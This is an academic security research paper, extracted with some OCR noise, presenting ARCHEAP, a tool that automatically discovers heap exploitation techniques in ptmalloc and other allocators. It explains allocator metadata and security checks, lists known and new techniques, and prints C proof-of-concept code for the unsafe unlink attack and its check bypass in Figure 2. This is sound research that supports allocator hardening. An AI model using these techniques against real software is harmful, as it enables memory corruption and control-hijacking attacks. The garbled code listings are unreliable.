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Abstract—Exploitation techniques to abuse the metadata of
heap allocators have been widely studied because of their gener-
ality (i.e., application independent) and powerful capability (i.e.,
bypassing mitigation). However, such techniques are commonly
considered arts, and thus the approaches to discover them remain
ad-hoc, manual, and allocator-specific at best.

In this paper, we present an automatic tool, ARCHEAP, to sys-
tematically discover the unexplored heap exploitation primitives,
regardless of their underlying implementations. The key idea of
ARCHEAP is to let the computer autonomously explore the spaces,
similar in concept to fuzzing, by specifying a set of common
designs of modern heap allocators and root causes of vulnera-
bilities as models, and by providing heap operations and attack
capabilities as actions. During the exploration, ARCHEAP checks
whether the combinations of these actions can be potentially used
to construct exploitation primitives, such as arbitrary write or
overlapped chunks. As a proof, ARCHEAP generates working
PoC that demonstrates the discovered exploitation technique.

We evaluated ARCHEAP with three real-world allocators (i.e.,
ptmalloc, tcmalloc, and jemalloc), as well as custom allocators
from the DARPA Cyber Grand Challenge. As a result, ARCHEAP
discovered five previously unknown exploitation primitives in
ptmalloc and found several exploitation techniques against je-
malloc, tcmalloc, and even custom heap allocators. To show the
effectiveness of ARCHEAP’s approach in other domains, we also
studied how security features evolve and which exploit primitives
are effective across different versions of ptmalloc.

I. INTRODUCTION

Heap-related vulnerabilities have been the most common, yet
critical source of security problems in systems software [45, 60,
61, 67]. According to Microsoft, heap vulnerabilities accounted
for 53% of security problems in their products in 2017 [48].
There are two properties that make heap vulnerabilities a
preferable target for attacks. First, heap exploitation techniques
tend to be application-independent, making it possible to
write attack code without a deep understanding of application
internals. Second, heap vulnerabilities are typically so powerful
that attackers can easily bypass modern mitigation schemes
by abusing them. For example, a seemingly benign bug that
overwrites one NULL byte to the metadata of ptmalloc leads
to a privilege escalation on Chrome OS [8].

Although communities have been studying possible attack
techniques against heap vulnerabilities (see, Table I), such
techniques are often considered arts, and thus the approaches to
discover them remain ad-hoc, manual, and allocator-specific at
best. Unfortunately, such a trend makes it hard for communities
to inherit or share lessons and efforts in two dimensions, namely,
time and space. In terms of time, it is not easy for developers
of heap allocators to evaluate the feasibility of considered-to-
be obsolete exploitation techniques when introducing a new
security or non-security feature. For example, a recent feature,

2001 (1) Once upon a free()... [7]

2003 (1) Advanced Doug lea’s malloc exploits [40]

2004 (2) Exploiting the wilderness [53]

2007 (2) The use of set_head to defeat the wilderness [28]
2007 (3) Understanding the heap by breaking it [23]

2009 (1) Yet another free() exploitation technique [38]
2009 (6) Malloc Des-Maleficarum [11]

2010 (2) The house of lore: Reloaded [12]

2014 (1) The poisoned NUL byte, 2014 edition

2015 (2) Glibc adventures: The forgotten chunk [30]

2016 (3) Ptmalloc fanzine [39]

2016 (3) New exploit methods against Ptmalloc of Glibc [68]
2016 (1) House of Einherjar [62]

2018 (5) ARCHEAP

TABLE I: Timeline for new heap exploitation techniques discovered
and their count in parentheses (e.g., ARCHEAP found five new
techniques in 2018).

called tcache in ptmalloc, that is designed to improve the
performance of heap operations by introducing a per-thread
cache, does not follow the common integrity checks of nearby
chunks during allocation or free, rendering all existing security
checks ineffective against past exploitation techniques. In terms
of space, it is difficult for developers of other heap allocators,
such as dlmalloc, jemalloc, and tcmalloc, to apply lessons
from the communities of ptmalloc without spending a non-
trivial amount of effort. Not to mention, it is not uncommon
to implement a custom heap allocator in systems software,
making it much harder to share such knowledge across them.

In this paper, we present an automatic tool, ARCHEAP,
to systematically discover the unexplored heap exploitation
primitives, regardless of their underlying implementations. The
key idea of ARCHEAP is to let the computer autonomously
explore the spaces, similar in concept to fuzzing, which is
proven to be practical and effective in discovering software
bugs [32, 71].

However, it is non-trivial to apply classical fuzzing tech-
niques in discovering new heap exploitation primitives for three
reasons. First, to successfully trigger a heap vulnerability, it
must generate a particular sequence of steps with exact data,
quickly rendering the problem intractable by using fuzzing
approaches. Accordingly, researchers attempted to tackle this
problem by using symbolic execution instead, but stumbled over
the well-known state explosion problem, thereby limiting its
scope to validating known exploitation techniques [21]. Second,
we need to devise a fast way to estimate the possibility of heap
exploitation, as fuzzing techniques require clear signals, such as
segmentation faults, to recognize interesting test cases. Third,
the test cases generated by fuzzers are typically redundant and



obscure, so users are required to spend non-negligible time
and effort analyzing the final results.

The key intuition to overcome these challenges (i.e., reducing
search space) is to abstract the internals of heap allocators
and the root causes of heap vulnerabilities (see §II-E). In
particular, we observed that modern heap allocators share
three common design components, namely, binning, in-place
metadata, and cardinal data. On top of these models, we
directed ARCHEAP to mutate and synthesize heap operations
and attack capabilities. During the exploration, ARCHEAP
checks whether the generated test case can be potentially used
to construct exploitation primitives, such as arbitrary write
or overlapped chunks—we devised a notion called impacts
of exploitation for efficient evaluation (see, §IV-C). Whenever
ARCHEAP finds a new exploit primitive, it generates as a proof
a working PoC code by using delta-debugging [72] to reduce
the redundant test cases to a minimal, equivalent class.

We evaluated ARCHEAP with three real-world allocators (i.e.,
ptmalloc, tcmalloc, and jemalloc) as well as custom allocators
from the DARPA Cyber Grand Challenge. As a result, we
discovered five previously unknown exploitation techniques
against Linux’s default heap allocator, ptmalloc. Compared with
HeapHopper’s approach, which relies on symbolic execution to
verify exploitation techniques, ARCHEAP outperforms not just
in finding new techniques—none are found by HeapHopper—
but also in validating known techniques when no exploit-
specific information is provided—only three out of eight
techniques in ptmalloc were found by HeapHopper, while
ARCHEAP found them all. While HeapHopper’s approach is
limited to ptmalloc (or its predecessor, dlmalloc) if no prior
knowledge about a new allocator is available, ARCHEAP’s
approach can be extended beyond ptmalloc, and indeed found
exploit primitives against other popular heap allocators, such
as tcmalloc and jemalloc, as well as custom allocators from
DARPA CGC. To show the effectiveness of ARCHEAP’s
approach in other domains, we also studied how security
features evolve and which exploit primitives are effective across
different versions of ptmalloc, demonstrating the need for an
automated method to evaluate the security of heap allocators.

In summary, we make the following contributions:

o We show that heap allocators share common designs, and
define the impacts of exploitation, which can be used to
efficiently evaluate exploitation techniques.

e We design, implement, and evaluate our prototype,
ARCHEAP, the tool that automatically discovers heap
exploitation techniques for various real-world allocators
and custom allocators.

« ARCHEAP outperforms a state-of-the-art tool, HeapHop-
per, in finding new techniques and found five new
exploitation techniques in ptmalloc and several techniques
in tcmalloc, jemalloc, and custom allocators.

II. ANALYSIS OF HEAP ALLOCATORS
A. Modern Heap Allocators

Dynamic memory allocation [44] plays an essential role
in managing a program’s heap space. The C standard library

defines a set of APIs to manage dynamic memory allocations
such as malloc() and free() [27, 41]. For example, malloc()
allocates the given number of bytes and returns a pointer to the
allocated memory, and free() reclaims the memory specified
by the given pointer.

A variety of heap allocators have been developed to meet
the specific needs of target programs. Heap allocators have
two types of common goals: good performance and small
memory footprint—minimizing the memory usage as well as
reducing fragmentation, which is the unused memory (i.e.,
hole) among in-use memory blocks. Unfortunately, these
two desirable properties are fundamentally conflicting; an
allocator should minimize additional operations to achieve
good performance, whereas it requires additional operations to
minimize fragmentation. Therefore, the goal of an allocator is
typically to find a good balance between these two goals for
its own workloads.

Common designs. To achieve the aforementioned goals,
allocators share common designs: binning, in-place metadata,
and cardinal data.

Many allocators use size-based classification, known as
binning. They divide a whole size range into multiple groups
and manage memory blocks separately according to their
size group. For example, small-size memory blocks focus on
performance, and large-size memory blocks focus on memory
usage of the allocators. Moreover, by dividing size groups,
when they try to find the best-fit block that is the smallest but
sufficient block for given request, they scan only blocks in the
proper size group instead of scanning all memory blocks.

Moreover, many dynamic memory allocators place metadata
near the payload, called in-place metadata. To minimize
memory fragmentation, a memory allocator should maintain
information about allocated or freed memory in metadata.
Even though the allocator can place metadata and payload
in distinct locations, many allocators store the metadata near
the payload to increase locality. In particular, by connecting
metadata and payload, an allocator can get benefits from the
cache. Moreover, in-place metadata can reduce memory usage
by storing metadata in the payload of freed memory. Since
the payload of freed memory will no longer be used by the
application, the allocator can reuse this part.

Further, memory allocators contain only cardinal data that are
not encoded and essential for fast lookup and memory usage. In
particular, metadata are mostly pointers or size-related values
that are used for their data structures. For example, ptmalloc
stores a raw pointer for a linked list that is used to maintain
freed memory blocks.

Comparison of heap allocators. To verify whether memory
allocators follow common designs, we manually investigated
widely used memory allocators, ptmalloc, dlmalloc, jemalloc,
PartitionAlloc and libumem, as shown in Table II. All of the
allocators use binning and cardinal data (i.e., only pointers and
size-related information) for their performance. Many allocators
still have used in-place metadata and some allocators have used
dedicated region for metadata because of security concerns.
Their design decisions are various based on their purpose, e.g.,
tcmalloc compromises security for high performance, whereas



Allocators B I C Description (applications)
ptmalloc v v v A default allocator in Linux.

dlmalloc v v v An allocator that ptmalloc is based on.
jemalloc v v" A default allocator in FreeBSD.

tcmalloc v v v" A high-performance allocator from Google.
PartitionAlloc v v A default allocator in Chromium.

libumem v v A default allocator in Solaris.

B: Binning, I: In-place metadata, C: Cardinal data

TABLE II: Common designs used in various memory allocators. This
table shows that even though their detailed implementations could be
different, heap allocators share common designs that can be exploited
for automatic testing.

1 struct malloc_chunk {
2 // size of "previous" chunk

3 // (only valid when the previous chunk is freed, P=0)

4 size_t prev_size;

5

6 // size in bytes (aligned by double words): lower bits

7 // indicate various states of the current/previous chunk
8 // A: alloced in a non-main arena

9 //  M: mmapped

10 //  P: "previous" in use (i.e., P=0 means freed)

1 size_t size;

13 // double links for free chunks in small/large bins
14 // (only valid when this chunk is freed)

15 struct malloc_chunk* fd;

16 struct malloc_chunk* bk;

18 // double links for next larger/smaller size in largebins
19 // (only valid when this chunk is freed)

20 struct malloc_chunk* fd_nextsize;

21 struct malloc_chunk* bk_nextsize;

struct malloc_chunk struct malloc_chunk
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Fig. 1: Metadata for a chunk in ptmalloc and memory layout for the
in-use and freed chunks [26].

PartitionAlloc [31] supports many security properties, including
isolation of objects (e.g., Bugs in DOM objects cannot corrupt
JavaScript objects).

B. ptmalloc: The Heap Allocator for glibc

In this section, we discuss ptmalloc [25, 26, 29], the heap
allocator used in glibc, whose exploitation techniques have
been heavily studied due to its prevalence and its complexity
of metadata [7, 9, 11, 22, 23, 28, 38, 40, 53].

Metadata. A chunk in ptmalloc is a memory region con-
taining metadata and payload. Memory allocation API such
as malloc() returns the address of the payload in the chunk.
Figure 1 shows the metadata of a chunk and its memory layout
for an in-use and a freed chunk. prev_size represents the size
of a previous chunk if it is freed. We note that prev_size of
a chunk is overlapped with the payload of the previous chunk.
This is legitimate since prev_size is considered only after the
previous chunk is freed, i.e., the payload is no longer used.
size represents the size of a current chunk. The real size of

Name Num Range Uniform List Merge
TCache 64 [0,516/1032] v 1 Single
Fast 10 [0,64/128) v 1 Single
Small 62 [0,508/1016) v 1 Double v
Large 63 [508/1016, co) 2 Double v
Unsorted 1 [0, 00) 1 Double v

TABLE III: The characteristics of bins in ptmalloc in a 32/64-bit
environment; the number of bins, range of size of bins, size consistency
(i.e., chunks in a bin has same size), what linked lists are maintained
by the bin, and its merging. The sizes before the slash (/) in the range
column are for a 32-bit environment, and the sizes after the slash are
for a 64-bit environment.

the chunk is 8-bit aligned, and the 3 LSBs of the size are
used for storing the state of the chunk. The last bit of size,
called PREV_IN_USE (P), shows whether the previous chunk is
in-use. For example, in Figure 1, after the chunk is freed, the
PREV_IN_USE in the next chunk is changed from 1 to 0. Other
metadata, fd, bk, fd_nextsize, and bk_nextsize, are used for
maintaining linked lists that hold freed chunks.

Binning. ptmalloc has several types of bins: fast bin, small bin,
large bin, unsorted bin, and tcache [19], which behaves like a
caching layer for allocation and free. Table III summarizes the
characteristics of each bin.

ptmalloc has 10 fast bins that store small freed chunks. Since
the chunks are not merged and their sizes in the same fast bin
are consistent, ptmalloc does not need to remove a chunk of a
fast bin in the middle. Therefore, ptmalloc uses a single-linked
list that requires a smaller number of bookkeeping operations,
so it is faster than a double-linked list. A fast bin maintains
the linked list using fd of the metadata.

Different from the fast bin, a small bin allows merging (aka.,
consolidation). In free(), a small-bin chunk merges with other
adjacent chunks that are already freed. This helps to reduce
memory fragmentation. Due to merging, a chunk in the middle
of a small bin needs to be removed and added to another bin
for a larger size. To support this chunk modification, a small
bin manages chunks using a doubly-linked list defined by fd
and bk in the chunks.

A large bin is similar to the small bin but can have variable-
size chunks in a single bin. Therefore, unlike a fast bin or a
small bin that can find the best-fit chunk in a constant time
by accessing the first entry of the bin, a large bin requires
scanning its list to find one. To optimize this scan, a large bin
maintains another sorted, double-linked list that is defined by
the metadata, fd_nextsize and bk_nextsize.

The unsorted bin is a special bin that serves as a fast, staging
place for free chunks. If a small or large chunk is freed, it first
moves to the unsorted bin. When allocating memory, ptmalloc
first scans the unsorted bin to find a chunk before scanning
other bins. During this scan, if a chunk in the unsorted bin is
not suitable for allocation, it will move to a regular bin (i.e., a
small bin or a large bin). Using the unsorted bin, ptmalloc can
defer the decision for the regular bins and increase locality to
improve performance.

The tcache, per-thread cache, is enabled by default from
glibc 2.26. It works similar to a fast bin but requires no locking
as allocated per thread, and therefore it can achieve significant



Name Error message Version Xenial Bionic

D1  corrupted double-linked list 234
D2 corrupted double-linked list (not small) 2.21
D3 free(): corrupted unsorted chunks 2.11
D4 malloc(): corrupted unsorted chunks 1 2.11
D5  malloc(): corrupted unsorted chunks 2 2.11
D6  malloc(): smallbin double linked list corrupted  2.11
S1  free(): invalid next size (fast) 234
S2  free(): invalid next size (normal) 234

S3  free(): invalid size 2.4
S4  malloc(): memory corruption 234
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F1  double free or corruption (!prev) 234
F2  double free or corruption (fasttop) 234
F3  double free or corruption (top) 234
F4  double free or corruption (out) 234
Ul  malloc(): memory corruption (fast) 234
U2 malloc_consolidate(): invalid chunk size 227
SP1  break adjusted to free malloc space 2.10.1
SP2  corrupted size vs. prev_size 2.26
SP3  free(): invalid pointer 2.0.1
SP4  munmap_chunk(): invalid pointer 24

SP5  invalid fastbin entry (free) 2.12.1

D: Data structure integrity checks, S: Size range constraints,
F: Freeable memory checks, U: Uniform size checks, SP: Specialized checks

TABLE IV: Security checks in ptmalloc; a check’s name that consists
of its type and a unique identifier, an error message for its failure,
and version that the check is first introduced, and covered checks by
ARCHEAP in Ubuntu versions (details in §VII-B).

performance improvements for multithread programs [19].

Consolidation. Unlike a chunk in a non-fast bin, a chunk
in a fast bin does not consolidate when freed. Instead,
ptmalloc consolidates all freed fast bin chunks at once using
malloc_consolidate() in special cases, for example, allocating
large bin size memory in malloc() [39]. Since these cases are
rare, ptmalloc can improve the performance of a fast bin by
deferring its consolidation as much as possible.

Special chunks. The top chunk (aka., the wilderness chunk)
is a special chunk that borders the top of the system memory.
Because of its location, the top chunk is the only chunk that is
extendable using the sbrk system call. To avoid fragmentation,
the top chunk is used to serve a memory allocation request
only if no other chunk can serve the request.

C. Security Checks in ptmalloc

To prevent heap exploitation, ptmalloc performs a lot of
security checks, verifying the integrity of heap metadata.
Whenever it finds a potential integrity violation of heap
metadata, it aborts the execution of a program with an error
message describing the detected violation. To better understand
these checks, we categorize them into the following five groups,
as shown in Table IV.

Data structure integrity (D1-D6). The most dominant type
of checks in ptmalloc is to verify the integrity of internal data
structures. In particular, they check the structure of a double-
linked list; for example, a next link of one node’s previous
link should point to the node itself. Since this invariant should
be satisfied in the lifetime of all double-linked lists, ptmalloc
performs this check in many places whenever possible, such
as unlink() (D1, D2), free() (D3), and malloc() (D4, D5,
D6). Note that it is possible to check the integrity of the
whole double-linked list by iterating all nodes, but due to the
performance concern, ptmalloc checks a corresponding chunk
that it is about to perform any operation on.

Size range constraints (S1-S4). A size value in ptmalloc’s
metadata has universal constraints: the size should be greater
than the minimum size to contain metadata, and it should be
smaller than the system memory size. These security checks
verify whether a size value satisfies these constraints.

Freeable memory checks (F1-F4). To reduce fragmentation,
ptmalloc maintains information related to free chunks. By using
this information, ptmalloc can check whether the memory to
free is valid. For example, F1 checks whether the memory is
already freed using PREV_IN_USE of its next chunk—due to
the consolidation, there are no two contagious free chunks in
ptmalloc. This also can be checked using the latest freed chunk
(F2), the top chunk (F3), and the boundary of heap (F4).

Uniform size check (U1-U2). Since chunks in a fast bin and
a small bin must have the same size, Ul and U2 check this
invariant in malloc() and malloc_consolidate(), respectively.

Specialized checks (SP1-SP5). SP1 compares sbrk syscall
with the top chunk, and SP2 checks consistency between a
chunk size and its corresponding prev_size. Moreover, SP3
validates a freeing pointer, and SP4 checks page-alignment
in munmap(). SP5 is distinct from others since it checks the
consistency of a fast bin in a multi-threaded environment.

D. Heap Exploitation

If an attack found a vulnerability that corrupts heap metadata
(e.g., overflow) or improperly uses heap APIs (e.g., double free),
the next step is to develop the bug to do a more useful exploit
primitive such as arbitrary write. To do so, attackers typically
have to modify the heap metadata, craft a fake chunk, or call
other heap APIs according to the implementation of the target
heap allocator. Unfortunately, this development is far from
trivial since it requires in-depth understanding of an allocator
not just to abuse its metadata but to avoid all relevant security
checks. Therefore, researchers have studied and shared heap
exploitation techniques that are reusable methods to develop a
vulnerability to a useful attack primitive [7, 9, 11, 22, 22, 23,
28, 38, 40, 53, 62, 68]. Table V shows modern heap exploitation
techniques collected from previous work [21] and new ones
that ARCHEAP found.

Example: Unsafe unlink. One of the most famous heap
exploitation technique is the unsafe unlink attack, which abuses
the unlink mechanism of a double-linked list in heap allocators,
as illustrated in Figure 2a and Figure 2b. By modifying
a forward pointer (P->fd) into a properly encoded target
location and a backward pointer (P->bk) into a desired value,
attackers can write the value to the target location (P->fd->bk
= P->bk). Due to the prevalence of a double-linked list, the
same technique had been used for many allocators, including
dlmalloc, ptmalloc, and even the Windows heap allocator [7].

To mitigate this attack, allocators added new security checks
in Figure 2a, which turn out to be insufficient to prevent
the attack. The check verifies an invariant of a double-linked
list that a backward pointer of a forward pointer of a chunk
should point to the chunk (i.e., P->fd->bk == P) and vice versa.
Therefore, attackers cannot make the pointers directly refer to
arbitrary locations as before since the pointers will not hold the
invariant. Even though the check prevents the aforementioned



Name Abbr.  Description New
Fast bin dup FD Corrupting a fast bin freelist (e.g., by double free or write-after-free) to return an arbitrary location

Unsafe unlink uu Abusing unlinking in a freelist to get arbitrary write

House of spirit HS Freeing a fake chunk of fast bin to return arbitrary location

Poison null byte PN Corrupting heap chunk size to consolidate chunks even in the presence of allocated heap

House of lore HL Abusing the small bin freelist to return an arbitrary location

Overlapping chunks OoC Corrupting a chunk size in the unsorted bin to overlap with an allocated heap

House of force HF Corrupting the top chunk to return an arbitrary location

Unsorted bin attack UB Corrupting a freed chunk in unsorted bin to write a uncontrollable value to arbitrary location

House of einherjar HE Corrupting PREV_IN_USE to consolidate chunks to return an arbitrary location that requires a heap address
Unsorted bin into stack UBS Abusing the unsorted freelist to return an arbitrary location v
House of unsorted einherjar ~HUE A variant of house of einherjar that does not require a heap address v
Unaligned double free UFF Corrupting a small bin freelist to return already allocated heap v
Overlapping small chunks OCS Corrupting a chunk size in a small bin to overlap chunks v
Fast bin into other bin FDO Corrupting a fast bin freelist and use malloc_consolidate() to return an arbitrary non-fast-bin chunk v

TABLE V: Modern heap exploitation techniques from recent work [21] including new ones found by ARCHEAP in ptmalloc with abbreviations
and brief descriptions. For brevity, we omitted tcache-related techniques.

attack, attackers can avoid this check by making a fake chunk
meet the condition, as in Figure 2c. Compared to the previous
one, the check makes the exploitation more complicated, but
still feasible.

E. Generalizing Heap Exploitation

Heap exploitation can be generalized in three aspects: 1)
types of bugs (i.e., allowing an attacker to divert the program
into unexpected states), 2) capabilities of attackers (i.e., defining
legitimate actions for an attacker to launch), and 3) impact of
exploitation (i.e., describing what an attacker can achieve as a
result). This section elaborates on each of these aspects.

1) Types of bugs. There are four common types of heap-related
bugs that instantiate exploitation:

« Overflow (OF): Writing beyond an object boundary.

« Write-after-free (WF): Reusing a freed object.
Arbitrary free (AF): Freeing an arbitrary pointer.

¢ Double free (FF): Freeing a previously reclaimed object.

Each of theses mistakes of a developer allows attackers
to divert the program into unexpected states in a certain
way: overflow allows modification of the all metadata (e.g.,
struct malloc_chunk in Figure 1) of any consequent chunks
(e.g., freed or allocated objects or even special chunks like top);
write-after-free allows modification of the free metadata (e.g.,
fd/bk in Figure 1), which is similar in spirit to use-after-free;
double free allows violation of the operational integrity of the
internal heap metadata (e.g., multiple reclaimed pointers linked
in the heap structure); and arbitrary free similarly breaks the
operational integrity of the heap management but in a highly
controlled manner—freeing an object with the crafted metadata
(e.g., size in Figure 1). Since overflow enables a variety of
paths for exploitation, we further characterize its types based
on common mistakes and errors by developers.

o Off-by-one (O1): Overwriting the last byte of the next
consequent chunk (e.g., when making a mistake in size
calculation, such as CVE-2016-5180 [34]). It overwrites
P-bit of size in Figure 1.

« Off-by-one NULL (O1N): Similar to the previous type,
but overwriting the NULL byte (e.g., when using string
related libraries such as sprintf). It overwrites P=1 to
P=0 in Figure 1, tricking the allocated object to be freed.

It is worth noting that, unlike a typical exploit scenario that
assumes arbitrary read and writes in heap exploitation, we
exclude such a primitive for two reasons: it is too specific
to applications and execution contexts, hardly meaningful for
generalization, and it is often too powerful for attackers to
launch easier attacks, demotivating heap exploitation. Therefore,
such powerful primitives are rather considered one of the
ultimate goals of heap exploitation.

2) Capabilities of attackers. To commonly describe heap
exploitation techniques, we clarify legitimate actions that an
attacker can launch. First, an attacker can allocate an object
with an arbitrary size, and free the object in an arbitrary order.
This essentially means that the attack can invoke an arbitrary
number of malloc with an arbitrary size parameter and invoke
free (or not) in whichever order the attacker wishes.

Second, an attacker can write arbitrary data on legitimate
memory regions (i.e., the payload in Figure 1 or global
memory). Although such legitimate behaviors in theory de-
pend largely on applications, complex, real-world applications
typically exhibit such behaviors. For example, in browsers,
attackers can arbitrarily invoke malloc with an arbitrary size by
allocating ArrayBuffer, and free these objects by reclaiming
them. In addition, the attacker can write any data into the
allocated ArrayBuffer. However, it is worth noting that it is
always more favorable to attackers if a heap exploit technique
requires fewer capabilities than what is described here, and in
such cases, we make a side note for better clarification.

3) Impact of exploitation. The goal of each heap exploitation
technique is to develop common types of heap-related bugs
into more powerful exploit primitives for a full-fledged attack.
For the systematization of a heap exploit, we categorize its
final impact (i.e. achieved exploit primitives) into four classes:

o Arbitrary-chunk (AC): Hijacking the next malloc to
return an arbitrary pointer of choice.

« Overlapping-chunk (OC): Hijacking the next malloc to
return a chunk inside a controllable (e.g., over-writable)
chunk by an attacker.

o Arbitrary-write (AW): Developing the heap-related bug
into an arbitrary write (a write-where-what primitive).

o Restricted-write (RW): Similar to arbitrary-write, but
with various restrictions (e.g., non-controllable “what” but
a static pointer to a global heap structure like bins).



#define unlink(AV, P, BK, FD)

1 \
2 /* (1) checking if size == the next chunk’s prev_size */ \
3 % if (chunksize(P) != prev_size(next_chunk(P))) \
4 * malloc_printerr("corrupted size vs. prev_size"); \
5 FD = P->fd; \
6 BK = P->bk; \
7 /* (2) checking if prev/next chunks correctly point to me */ \
8 * if (FD->bk != P || BK->fd != P) \
9 *x malloc_printerr("corrupted double-linked list"); \
10 x» else { \
11 FD->bk = BK; \
12 BK->fd = FD; \
13 .. \
14 * }

(a) Security checks introduced since glibc 2.2.4 and 2.26. Two security
checks first validate two invariants (see, comments above) before
unlinking the victim chunk (i.e., P).

// [PRE-CONDITION]

// sz : any non-fast-bin size

//  dst: where to write (void*)

// val: target value (ptr to writable memory)
// [BUG] buffer overflow (pl)

// [POST-CONDITION]

//  *dst = val

void *pl = malloc(sz);

9 void *p2 = malloc(sz);

® 9 U R W —

11 struct malloc_chunk *c2 = raw_to_chunk(p2);

13 // [BUG] overflowing pl

14 c2->prev_size = 0;

15 // next chunk’s size == c2’s prev_size, tricking c2 freed (P=0)
16 c2->size = -sizeof(void*);

17 c2->fd = dst - offsetof(struct malloc_chunk, bk);

18 c2->bk = val;

20 // trigger unlink(c2) via forward consolidation
21 free(pl);

23 assert(*dst == val);

(b) The unsafe unlink exploitation in glibc 2.3.3

// Same PRE/POST CONDITIONS and BUG as (b)
void *pl = malloc(sz);
void *p2 = malloc(sz);

struct malloc_chunk *fake = pl;

// bypassing (1): P->size == next_chunk(P)->prev_size
fake->size = sizeof(void*);

// bypassing (2): P->fd->bk == P && P->bk->fd == P

9 fake->fd = (void*)&pl - offsetof(struct malloc_chunk, bk);
10 fake->bk = (void*)&pl - offsetof(struct malloc_chunk, £fd);
1

12 struct malloc_chunk *c2 = raw_to_chunk(p2);

13

14 // [BUG] overflowing pl: it shrinks the previous chunk’s size,
15 // tricking ‘fake’ as the previous chunk

16 c2->prev_size = chunk_size(sz) \

17 - offsetof(struct malloc_chunk, fd);

18 // tricking the previous chunk freed, P=0

19 c2->size &= ~1;

20

21 // triggering unlink(fake) via backward consolidation

22 free(p2);

23

24 assert(pl == (void*)&pl - offsetof(struct malloc_chunk, bk));
25 // writing with pl: overwriting itself to dst

26 *(void**) (pl + offsetof(struct malloc_chunk, bk)) = target;
27 // writing with pl: overwriting *dst with val

28 *(void**)pl = (void*)val;

29

30 assert(*dst == val);
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(¢) The unsafe unlink exploitation in glibc 2.27 [57]

Fig. 2: The unlink macros and corresponding exploits in glibc 2.3.3
and glibc 2.27. Compared to glibc 2.3.3, two security checks have
been added in glibc 2.27. The first one hardens the off-by-one overflow
and the second one hardens unlinking abuse. Even though the security
checks harden the attack, it is still avoidable.

Attackers might want to launch a control-hijacking attack
by using these exploit primitives combined with application-
specific execution contexts. For example, in the unsafe unlink
case (see, Figure 2), attackers can develop a word-byte overflow
to the arbitrary write by repeatedly referring and writing the
object from a local variable (i.e., p1).

III. TECHNICAL CHALLENGES

Our goal is to automatically explore new types of heap
exploitation techniques given an implementation of any heap
allocators—its source code is not required. Such a capability
not only enables automatic exploit synthesis but also makes
several, unprecedented applications possible: 1) systematically
discovering unknown types of heap exploitation schemes;
2) comprehensively evaluating the security of popular heap
allocators; and 3) providing insight into what and how to
improve their security. However, achieving this autonomous
capability is far from trivial, for the following reasons.

Autonomous reasoning of the heap space. To find heap
exploitation techniques, we should handle a large search space
consisting of enormous possible orders, arguments for heap
APIs, and data in the heap and global buffer. This space could
be greatly reduced using exploit-specific knowledge [21], how-
ever, this is not applicable for finding new exploit techniques.
To resolve this issue, we use a random search algorithm that is
effective in exploring a large search space [36]. In particular,
we use a fuzzer as a meta-explorer by encoding heap actions
from a binary form that a fuzzer can mutate and synthesize
effectively. We also abstract common designs of modern heap
allocators to further reduce the search space (§IV-B).

Devising exploitation techniques. While enumerating pos-
sible candidates for an exploit technique, a system needs to
verify whether the candidate is valuable. One way to assess the
candidates is to synthesize a full exploit automatically (e.g.,
spawning a shell), but it is extremely difficult and inefficient,
especially for heap vulnerabilities [10, 15, 20, 36, 55, 56].
To resolve this issue, we devise the concept of impact of
exploitation. In particular, we estimate the impacts of heap
exploitation primitives (i.e., AC, OC, AW, and RW) during
exploration instead of synthesizing a full exploit. We will show
that these impacts can be quickly detectable at runtime by
utilizing shadow memory (§1V-C).

Normalization. Even though random search is effective in
exploring a large search space, an exploitation technique
found by this algorithm tends to be redundant and inessential,
requiring non-trivial time to analyze the result. To fix this
issue, we leverage delta-debugging techniques to minimize
the redundant actions and transform the found result into an
essential class. This is so effective that we could reduce 84.3%
of actions, drastically helping us to share the new exploitation
techniques with the communities (§IV-D).

IV. AUTONOMOUS EXPLORATION OF HEAP EXPLOITATION

A. Overview

ARCHEAP follows a common paradigm in classical fuzzing—
test generation, crash detection, and test reduction, but tailored
to heap exploitation (see Figure 3). It first mutates and generates
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Fig. 3: Overview of ARCHEAP. It first generates a sequence of heap
actions given a model specification. While executing the generated
actions, it estimates the impact of exploitation. Whenever a new
exploit is found, it minimizes the actions and produces a PoC code.

a sequence of heap actions based on a user-provided model
specification. Heap actions that ARCHEAP can formulate
include heap allocation, free, buffer writes, heap writes, and
bug invocation (§IV-B). During execution, ARCHEAP evaluates
whether the executed test case results in impacts of exploitation,
similar in concept to detecting a crash in fuzzing (§IV-C).
Whenever ARCHEAP finds a new exploit, it minimizes the heap
actions and produces as a proof a PoC code (see, Figure 4)
that contains only an essential set of actions (§IV-D).

Model specifications. Users can optionally provide a model
specification either to direct ARCHEAP to focus on a certain
type of exploitation techniques or to restrict the conditions
of a target environment. For example, house-of-force (see Ta-
ble V) requires arbitrary size allocation, so without guidance,
ARCHEAP tends to converge to another exploitation technique.
It accepts five types of restrictions: chunk sizes, bugs, impacts,
actions, and knowledge. The first four types are self-explanatory,
and the knowledge is about the ability of an attacker to break
ASLR (i.e., prior knowledge of certain addresses). Users can
specify three types of addresses that an attacker may know: a
global buffer address, a heap address, and a container address.

B. Generating Actions for Abstract Heap Models

ARCHEAP generates five types of heap-related actions:
allocation, deallocation, buffer writes, heap writes, and bug
invocation. It encodes each action as a sequence of bits such
that the random output of a fuzzer can be appropriately mapped
to these actions for interpretation. To reduce the search space,
it formulates each action on top of an abstract heap model
that accommodates the common design idioms of modern
heap allocators. The following explains how each action takes
advantage of the abstract model in reducing the search space.

Allocation. ARCHEAP selects the size of heap objects based
on the boundary values of each bins (see §II-A). Since a
heap allocator manages each bin individually, ARCHEAP needs
different kinds of objects to examine their different logic. Thus,
ARCHEAP allocates memory in random size, but considering
binning (I3). In particular, ARCHEAP first randomly selects a
group of size and then allocates an object whose size is in this
group. The group is separated by approximate boundary values
instead of implementation-specific ones to make ARCHEAP
compatible to any allocator. Currently, ARCHEAP uses five
boundaries with exponential distance from 2° to 22°. This
division is arbitrary, but sufficient for increasing the chances
to explore various bins. Moreover, ARCHEAP attempts to

allocate multiple objects in the same bin (I4, IS) since an
object interacts with other objects only in the same bin. For
example, in ptmalloc, a non-fast-bin object merges with a
non-fast-bin object, not with a fast bin object. To cover this
interaction, ARCHEAP allocates an object whose size is related
to other objects’ sizes.

To find certain techniques, ARCHEAP also needs specialized
sizes (I1, I2). For example, a difference between an object and
a buffer address is required to allocate memory in the buffer if
integer overflow exists in an allocator. Thus, ARCHEAP also
uses several pre-defined constants and differences between
pointers as its allocation size.

After selecting a size of an object, ARCHEAP claims the
object using malloc() API and stores the object’s address, size,
and status (i.e., allocated) into its internal data structure, called
the heap container. This information about an object is used
to perform other actions, e.g., deallocation or bug invocation.
Deallocation. ARCHEAP deallocates a randomly selected
